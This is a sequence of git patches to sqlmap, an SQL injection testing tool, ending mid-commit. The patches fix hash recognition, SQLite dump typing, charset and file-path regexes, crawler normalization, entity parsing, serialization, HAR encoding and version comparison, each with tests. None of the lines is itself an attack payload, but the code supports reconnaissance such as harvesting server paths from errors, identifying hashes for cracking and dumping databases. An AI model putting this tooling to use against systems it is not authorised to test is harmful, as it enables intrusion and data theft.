--git a/lib/core/settings.py b/lib/core/settings.py index 6fab8744626..5b3d3190beb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.118" +VERSION = "1.10.7.119" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 9a7ef72e701..3386a322e2a 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1074,9 +1074,6 @@ def hashRecognition(value): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): - continue else: parts.append("(?P<%s>%s)" % (name, regex)) @@ -1088,6 +1085,10 @@ def hashRecognition(value): algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] retVal = getattr(HASH, algorithm) + # Note: greedy CRYPT_GENERIC requires a mixed-case value to reduce false positives + if retVal == HASH.CRYPT_GENERIC and any((value.lower() == value, value.upper() == value)): + retVal = None + return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): diff --git a/tests/test_hash.py b/tests/test_hash.py index 4ab5546c0e2..42db6995e4b 100644 --- a/tests/test_hash.py +++ b/tests/test_hash.py @@ -97,6 +97,15 @@ def test_sha1_generic(self): def test_mysql(self): self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + def test_crypt_generic(self): + # Traditional DES crypt(3) (hashcat -m 1500); mixed-case is required by the heuristic + self.assertEqual(H.hashRecognition("rl.3StKT.4T8M"), HASH.CRYPT_GENERIC) + + def test_crypt_generic_single_case_is_none(self): + # All-lower/all-upper 13-char values are too greedy to be trusted as crypt + self.assertIsNone(H.hashRecognition("abcdefghijklm")) + self.assertIsNone(H.hashRecognition("ABCDEFGHIJKLM")) + def test_junk_is_none(self): self.assertIsNone(H.hashRecognition("foobar")) From 109ce217ecbcbdfd74ad3de205527b912179ba3a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 11:32:39 +0200 Subject: [PATCH 776/853] Bug fix for dump format SQLITE --- lib/core/dump.py | 11 +++++++++-- lib/core/settings.py | 6 +++++- tests/test_dump_format.py | 31 +++++++++++++++++++++++++++++++ 3 files changed, 45 insertions(+), 3 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index bbeb3d0f221..cff21165911 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -54,6 +54,8 @@ from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE +from lib.core.settings import SQLITE_INT_MAX +from lib.core.settings import SQLITE_INT_MIN from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT @@ -558,7 +560,10 @@ def dbTableValues(self, tableValues): if not value or value == " ": # NULL continue - int(value) + # Note: keep INTEGER only for values SQLite's affinity leaves untouched; leading zeros ('007'), signs ('+1') or 64-bit overflow would be silently rewritten on insert + parsed = int(value) + if str(parsed) != value or not (SQLITE_INT_MIN <= parsed <= SQLITE_INT_MAX): + raise ValueError except ValueError: colType = None break @@ -572,7 +577,9 @@ def dbTableValues(self, tableValues): if not value or value == " ": # NULL continue - float(value) + # Note: likewise REAL must round-trip textually ('2.00' or '1e5' would lose their exact form) + if repr(float(value)) != value: + raise ValueError except ValueError: colType = None break diff --git a/lib/core/settings.py b/lib/core/settings.py index 5b3d3190beb..a0ee0556a60 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.119" +VERSION = "1.10.7.120" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -683,6 +683,10 @@ # Maximum integer value MAX_INT = sys.maxsize +# Signed 64-bit range of SQLite's INTEGER storage class (used for safe --dump-format=SQLITE typing) +SQLITE_INT_MIN = -0x8000000000000000 +SQLITE_INT_MAX = 0x7fffffffffffffff + # Replacement for unsafe characters in dump table filenames UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index d3484c28fe0..2fb052f2b28 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -358,6 +358,37 @@ def test_rows_and_inferred_types(self): finally: conn.close() + def test_non_roundtrip_numbers_stay_text(self): + # Values that look numeric but would be silently rewritten by SQLite's INTEGER/REAL + # affinity (leading zeros, sign prefix, 64-bit overflow, trailing-zero/exponent floats) + # must be stored verbatim as TEXT, otherwise the export corrupts the dumped data + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("zip", {"length": 5, "values": ["007"]}), + ("phone", {"length": 10, "values": ["0917123456"]}), + ("signed", {"length": 2, "values": ["+1"]}), + ("huge", {"length": 30, "values": ["123456789012345678901234567890"]}), + ("money", {"length": 4, "values": ["2.00"]}), + ("real_int", {"length": 1, "values": ["5"]}), # genuine ints still typed INTEGER + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + conn = sqlite3.connect(os.path.join(self.tmp, "testdb.sqlite3")) + try: + cur = conn.cursor() + cur.execute("SELECT zip, phone, signed, huge, money, real_int FROM t") + self.assertEqual(cur.fetchone(), ("007", "0917123456", "+1", "123456789012345678901234567890", "2.00", 5)) + cur.execute("PRAGMA table_info(t)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["zip"], "TEXT") + self.assertEqual(types["huge"], "TEXT") + self.assertEqual(types["money"], "TEXT") + self.assertEqual(types["real_int"], "INTEGER") + finally: + conn.close() + # --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- From 00cccf78e56a228df58e7a54eb3ffb2ab11e2d02 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 11:54:53 +0200 Subject: [PATCH 777/853] Minor fix --- lib/core/settings.py | 4 ++-- tests/test_decodepage.py | 40 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a0ee0556a60..aaae4038866 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.120" +VERSION = "1.10.7.121" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -501,7 +501,7 @@ ) # Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' +META_CHARSET_REGEX = r"""(?si)]*>.*]+charset\s*=\s*["']?(?P[^"'> ]+).*""" # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py index 01eb899c468..69949416604 100644 --- a/tests/test_decodepage.py +++ b/tests/test_decodepage.py @@ -25,7 +25,10 @@ bootstrap() from lib.request.basic import decodePage +from lib.core.common import extractRegexResult +from lib.core.data import conf, kb from lib.core.exception import SqlmapCompressionException +from lib.core.settings import META_CHARSET_REGEX BODY = b"Hello plain body content 12345 - no markup here" @@ -68,6 +71,43 @@ def test_utf8_decoded_to_unicode(self): out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") self.assertEqual(out, original) + def test_meta_charset_used_when_no_http_charset(self): + # charset declared only via (no HTTP charset) with an attribute on + # must still be honored; byte 0xC0 is 'А' (U+0410) in windows-1251 + page = b'\xc0\xc1\xc2' + conf.encoding = None + kb.pageEncoding = None + out = decodePage(page, None, "text/html") + self.assertIn(u"АБВ", out) + + +class TestMetaCharsetRegex(unittest.TestCase): + """META_CHARSET_REGEX must tolerate real-world /meta forms while staying scoped + to the head so body content can't hijack the detected charset.""" + + def _charset(self, html): + return extractRegexResult(META_CHARSET_REGEX, html) + + def test_head_with_attributes(self): + self.assertEqual(self._charset(''), "iso-8859-2") + + def test_whitespace_around_equals(self): + self.assertEqual(self._charset(''), "utf-8") + + def test_single_quotes_stripped(self): + self.assertEqual(self._charset(""), "utf-8") + + def test_http_equiv_content_type(self): + self.assertEqual(self._charset(''), "windows-1251") + + def test_header_tag_not_matched(self): + #
is not + self.assertIsNone(self._charset('
')) + + def test_body_meta_not_hijacked(self): + # a meta whose content merely mentions charset= in the body must not be picked up + self.assertIsNone(self._charset('t')) + class TestMalformed(unittest.TestCase): def test_invalid_deflate_raises(self): From e288df23db609e3edbe0c1b3e48d2d166aea246a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 12:12:26 +0200 Subject: [PATCH 778/853] Minor fix --- lib/core/settings.py | 4 ++-- tests/test_texthelpers.py | 14 ++++++++++++++ 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aaae4038866..5cc0106f0b4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.121" +VERSION = "1.10.7.122" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -481,7 +481,7 @@ SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py index 0df01ee7a98..1197bc505c1 100644 --- a/tests/test_texthelpers.py +++ b/tests/test_texthelpers.py @@ -61,6 +61,20 @@ def test_windows_path(self): self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, msg="windows path not harvested in full: %s" % kb.absFilePaths) + def test_quoted_paths_harvested(self): + # paths delimited by a leading quote (Python/Java/.NET stack traces) must be harvested too + parseFilePaths('File "/usr/lib/python3.11/site-packages/app.py", line 10') + parseFilePaths("Cannot read '/opt/tomcat/webapps/app/WEB-INF/web.xml' now") + parseFilePaths('Could not find file "C:\\data\\config.ini".') + self.assertIn("/usr/lib/python3.11/site-packages/app.py", kb.absFilePaths) + self.assertIn("/opt/tomcat/webapps/app/WEB-INF/web.xml", kb.absFilePaths) + self.assertIn("C:\\data\\config.ini", kb.absFilePaths) + + def test_quoted_non_path_ignored(self): + # a leading quote must not turn ordinary quoted words or URLs into "paths" + parseFilePaths("error: 'foobar' invalid; see 'https://example.com/help' for info") + self.assertEqual(kb.absFilePaths, set()) + class TestGetSafeExString(unittest.TestCase): def test_format(self): From fabe4ce04d6efa923e8c5a9f32574511f8003565 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 12:22:23 +0200 Subject: [PATCH 779/853] Minor fix --- lib/core/settings.py | 2 +- lib/utils/crawler.py | 39 +++++++++++++++++--------- tests/test_crawler.py | 65 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 92 insertions(+), 14 deletions(-) create mode 100644 tests/test_crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5cc0106f0b4..750d36bd694 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.122" +VERSION = "1.10.7.123" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index ff8d7bdd653..787f0a15e54 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -223,22 +223,35 @@ def crawlThread(): kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) if kb.normalizeCrawlingChoice: - seen = set() - results = OrderedSet() - - for target in kb.targets: - value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.add(target) - seen.add(key) - - kb.targets = results + kb.targets = normalizeCrawlingResults(kb.targets) storeResultsToFile(kb.targets) +def normalizeCrawlingResults(targets): + """ + Collapses crawled targets that differ only in their parameter values (e.g. ?id=1 vs ?id=2), + keeping one representative per distinct endpoint+parameter-name shape + + >>> sorted(_[0] for _ in normalizeCrawlingResults([("http://h/users/edit?id=1", None, None, None, None), ("http://h/users/edit?id=2", None, None, None, None), ("http://h/products/edit?id=1", None, None, None, None)])) + ['http://h/products/edit?id=1', 'http://h/users/edit?id=1'] + """ + + seen = set() + results = OrderedSet() + + for target in targets: + value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") + # Note: key on the full path (not just the last segment) so distinct endpoints sharing an + # action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed + match = re.search(r"\A[^?]+\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.add(target) + seen.add(key) + + return results + def storeResultsToFile(results): if not results: return diff --git a/tests/test_crawler.py b/tests/test_crawler.py new file mode 100644 index 00000000000..709e25896b7 --- /dev/null +++ b/tests/test_crawler.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Crawler result normalization (lib/utils/crawler.py normalizeCrawlingResults). + +--crawl can surface thousands of near-identical URLs; normalization keeps one +representative per distinct endpoint+parameter shape so the scan is not flooded +with value-only variants. The key must span the full path: collapsing on the +last path segment alone silently drops distinct endpoints that share an action +name (e.g. /users/edit vs /products/edit), losing real attack surface. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.crawler import normalizeCrawlingResults + + +def _t(url, data=None): + # kb.targets tuple shape: (url, method, data, ...) + return (url, None, data, None, None) + + +class TestNormalizeCrawlingResults(unittest.TestCase): + def _urls(self, targets): + return [t[0] for t in normalizeCrawlingResults(targets)] + + def test_value_only_variants_collapse(self): + kept = self._urls([_t("http://h/item?id=1"), _t("http://h/item?id=2"), _t("http://h/item?id=3")]) + self.assertEqual(kept, ["http://h/item?id=1"]) + + def test_distinct_endpoints_sharing_action_are_kept(self): + # the regression: /users/edit and /products/edit must not collapse on the shared last segment + kept = self._urls([_t("http://h/users/edit?id=1"), + _t("http://h/products/edit?id=1"), + _t("http://h/orders/edit?id=1"), + _t("http://h/users/edit?id=2")]) + self.assertEqual(set(kept), {"http://h/users/edit?id=1", + "http://h/products/edit?id=1", + "http://h/orders/edit?id=1"}) + + def test_different_parameter_names_are_kept(self): + kept = self._urls([_t("http://h/p?id=1"), _t("http://h/p?name=x")]) + self.assertEqual(set(kept), {"http://h/p?id=1", "http://h/p?name=x"}) + + def test_different_hosts_are_kept(self): + kept = self._urls([_t("http://a.tld/edit?id=1"), _t("http://b.tld/edit?id=1")]) + self.assertEqual(set(kept), {"http://a.tld/edit?id=1", "http://b.tld/edit?id=1"}) + + def test_post_data_folded_into_shape(self): + # POST body params participate in the shape, and value-only POST variants collapse + kept = self._urls([_t("http://h/login", "user=a&pass=b"), _t("http://h/login", "user=c&pass=d")]) + self.assertEqual(kept, ["http://h/login"]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 20537c52c5811202c39a6fe5f7dcb0bee8af1838 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 12:44:38 +0200 Subject: [PATCH 780/853] Minor patch --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- tests/test_common.py | 17 +++++++++++++++++ 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ad9f5564c9f..33ef8aeae0d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -74,6 +74,7 @@ from lib.core.dicts import DBWIRE_MODULES from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.dicts import HTML_ENTITIES from lib.core.dicts import OBSOLETE_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY @@ -629,7 +630,9 @@ def paramToDict(place, parameters=None): if place in conf.parameters and not parameters: parameters = conf.parameters[place] - parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) + # Note: shield real HTML entities (e.g. & — ’) from being split on the '&'/';' delimiter; + # match a named entity of any length but only when it is a genuine one, so a plain "&word;" still splits + parameters = re.sub(r"&(\w+);", lambda match: "%s%s%s" % (PARAMETER_AMP_MARKER, match.group(1), PARAMETER_SEMICOLON_MARKER) if match.group(1) in HTML_ENTITIES else match.group(0), parameters) if place == PLACE.COOKIE: splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 750d36bd694..0df4f9279f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.123" +VERSION = "1.10.7.124" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_common.py b/tests/test_common.py index e8d217627fc..b27e8acf324 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -185,6 +185,23 @@ def test_param_without_equals_ignored(self): result = paramToDict(PLACE.GET, "lonely&id=1") self.assertEqual(list(result.items()), [("id", "1")]) + def test_html_entity_in_value_not_split(self): + # a genuine HTML entity in a value must not be split on its '&'/';' (any entity length) + result = paramToDict(PLACE.GET, "q=foo&bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo&bar"), ("id", "5")]) + result = paramToDict(PLACE.GET, "q=foo—bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo—bar"), ("id", "5")]) + + def test_html_entity_in_cookie_value_not_corrupted(self): + # regression: the entity's own ';' must not act as the cookie delimiter + result = paramToDict(PLACE.COOKIE, "token=a—b; id=5") + self.assertEqual(list(result.items()), [("token", "a—b"), ("id", "5")]) + + def test_non_entity_ampersand_still_splits(self): + # "&nope;" is not a real entity, so '&' remains a genuine delimiter + result = paramToDict(PLACE.GET, "a=1&nope=2") + self.assertEqual(list(result.items()), [("a", "1"), ("nope", "2")]) + class TestGetCharset(unittest.TestCase): """Inference charsets are fixed integer tables.""" From dcecf55780ea5987ccd207efb9a28939bbf43cd1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 13:02:34 +0200 Subject: [PATCH 781/853] Minor patch --- lib/core/convert.py | 5 ++++- lib/core/settings.py | 2 +- tests/test_hashdb.py | 13 +++++++++++++ 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index a925bba6701..bb57e4c182e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -114,7 +114,10 @@ def _serializeEncode(value): name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) if name in _SERIALIZE_CLASSES: return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} - elif value.__class__ is dict: + elif value.__class__ is dict or (name or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): + # a plain dict, or a foreign mapping subclass (e.g. collections.OrderedDict/defaultdict): store the + # items as a plain mapping so the data round-trips, instead of silently degrading to its text repr. + # A non-allowlisted lib/plugins/thirdparty subclass still falls through to _serializeUnknown (fail loudly) return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} else: return _serializeUnknown(value, name) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0df4f9279f2..d71fcc304a5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.124" +VERSION = "1.10.7.125" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py index 36bbd4dc9ff..0bc0756f878 100644 --- a/tests/test_hashdb.py +++ b/tests/test_hashdb.py @@ -100,6 +100,19 @@ def test_attribdict_roundtrip(self): self.assertEqual(got.x, 1) self.assertEqual(got.y, [1, 2]) + def test_foreign_mapping_roundtrips_as_dict(self): + # a stdlib dict subclass (e.g. OrderedDict) must round-trip its data rather than + # silently degrade to its text repr (session codec: round-trip or fail loudly) + from collections import OrderedDict + import six + val = OrderedDict([("b", 2), ("a", [1, {"n": "v"}])]) + self.db.write("od", val, True) + self.db.flush() + got = self.db.retrieve("od", True) + self.assertEqual(got, {"b": 2, "a": [1, {"n": "v"}]}) # data preserved (was lost to text repr before) + if six.PY3: + self.assertEqual(list(got), ["b", "a"]) # order preserved where dicts are ordered + def test_bigarray_roundtrip(self): self.db.write("ba", BigArray([1, 2, 3]), True) self.db.flush() From d08e992ad6d7993b7a3db87d09df418e7b57b904 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 13:17:07 +0200 Subject: [PATCH 782/853] Minor patch --- lib/core/settings.py | 2 +- lib/utils/har.py | 18 ++++++++++++------ tests/test_har.py | 17 +++++++++++++++++ 3 files changed, 30 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d71fcc304a5..71e01889f73 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.125" +VERSION = "1.10.7.126" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/har.py b/lib/utils/har.py index e5dde561cf3..ebdef3bfde3 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -181,16 +181,22 @@ def parse(cls, raw): def toDict(self): content = { "mimeType": self.headers.get("Content-Type"), - "text": self.content, "size": len(self.content or "") } - binary = set([b'\0', b'\1', u'\0', u'\1', 0, 1]) - if any(c in binary for c in self.content): - content["encoding"] = "base64" - content["text"] = getText(base64.b64encode(self.content)) + # HAR text must be UTF-8: a body that does not decode (binary content such as an image, or + # text in another charset) is base64-encoded losslessly rather than mangled through a lossy + # text decode. The previous check only treated NUL/0x01 as binary, so e.g. a JPEG lacking + # those bytes was corrupted into the "text" field. + raw = self.content or b"" + if not isinstance(raw, bytes): + content["text"] = getText(raw) else: - content["text"] = getText(content["text"]) + try: + content["text"] = getText(raw.decode("utf-8")) + except UnicodeDecodeError: + content["encoding"] = "base64" + content["text"] = getText(base64.b64encode(raw)) return { "httpVersion": self.httpVersion, diff --git a/tests/test_har.py b/tests/test_har.py index 56e9b69b5b6..bf98f260833 100644 --- a/tests/test_har.py +++ b/tests/test_har.py @@ -160,6 +160,23 @@ def test_toDict_binary_content_encoded(self): d = resp.toDict() self.assertEqual(d["content"]["encoding"], "base64") + def test_toDict_binary_without_null_still_base64(self): + # regression: binary content lacking NUL/0x01 (e.g. a JPEG header) must still be + # base64-encoded, not mangled into the "text" field as a lossy decode + import base64 as _b64 + jpeg = b"\xff\xd8\xff\xe0\x10JFIF\x02\x03" + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "image/jpeg"}, jpeg).toDict() + self.assertEqual(d["content"]["encoding"], "base64") + self.assertEqual(_b64.b64decode(d["content"]["text"]), jpeg) # lossless + + def test_toDict_utf8_multibyte_stays_text(self): + # valid UTF-8 (incl. multibyte) is human-readable text, not base64 + original = b"caf\xc3\xa9 \xe4\xbd\xa0\xe5\xa5\xbd".decode("utf-8") # cafe+e-acute+two CJK, pure-ASCII source + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "text/plain; charset=utf-8"}, + original.encode("utf-8")).toDict() + self.assertNotIn("encoding", d["content"]) + self.assertEqual(d["content"]["text"], original) + def test_toDict_non_text_content(self): resp = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "text/plain"}, b"plain text") From 932a5bd7b2ac6173487891823beb70c220cbb2e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 13:37:42 +0200 Subject: [PATCH 783/853] Fixes version comparison --- lib/core/common.py | 53 +++++++++++++++++++++----------------------- lib/core/settings.py | 2 +- tests/test_common.py | 43 +++++++++++++++++++++++++++++++++++ 3 files changed, 69 insertions(+), 29 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 33ef8aeae0d..0b1904eedd5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -190,7 +190,6 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES -from lib.core.settings import VERSION_COMPARISON_CORRECTION from lib.core.settings import VERSION_STRING from lib.core.settings import ZIP_HEADER from lib.core.settings import WEBSCARAB_SPLITTER @@ -3500,42 +3499,40 @@ def isDBMSVersionAtLeast(minimum): if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') - correction = 0.0 + # Note: a fuzzy/ranged detected version (e.g. '>2', '<2') is captured as a sign so an + # otherwise-equal comparison still resolves in the right direction + vSign = 0 if ">=" in version: pass elif '>' in version: - correction = VERSION_COMPARISON_CORRECTION + vSign = 1 elif '<' in version: - correction = -VERSION_COMPARISON_CORRECTION + vSign = -1 version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) if version: - if '.' in version: - parts = version.split('.', 1) - parts[1] = filterStringValue(parts[1], '[0-9]') - version = '.'.join(parts) + minimum = minimum if isinstance(minimum, six.string_types) else getUnicode(minimum) - try: - version = float(filterStringValue(version, '[0-9.]')) + correction - except ValueError: - return None - - if isinstance(minimum, six.string_types): - if '.' in minimum: - parts = minimum.split('.', 1) - parts[1] = filterStringValue(parts[1], '[0-9]') - minimum = '.'.join(parts) - - correction = 0.0 - if minimum.startswith(">="): - pass - elif minimum.startswith(">"): - correction = VERSION_COMPARISON_CORRECTION - - minimum = float(filterStringValue(minimum, '[0-9.]')) + correction - - retVal 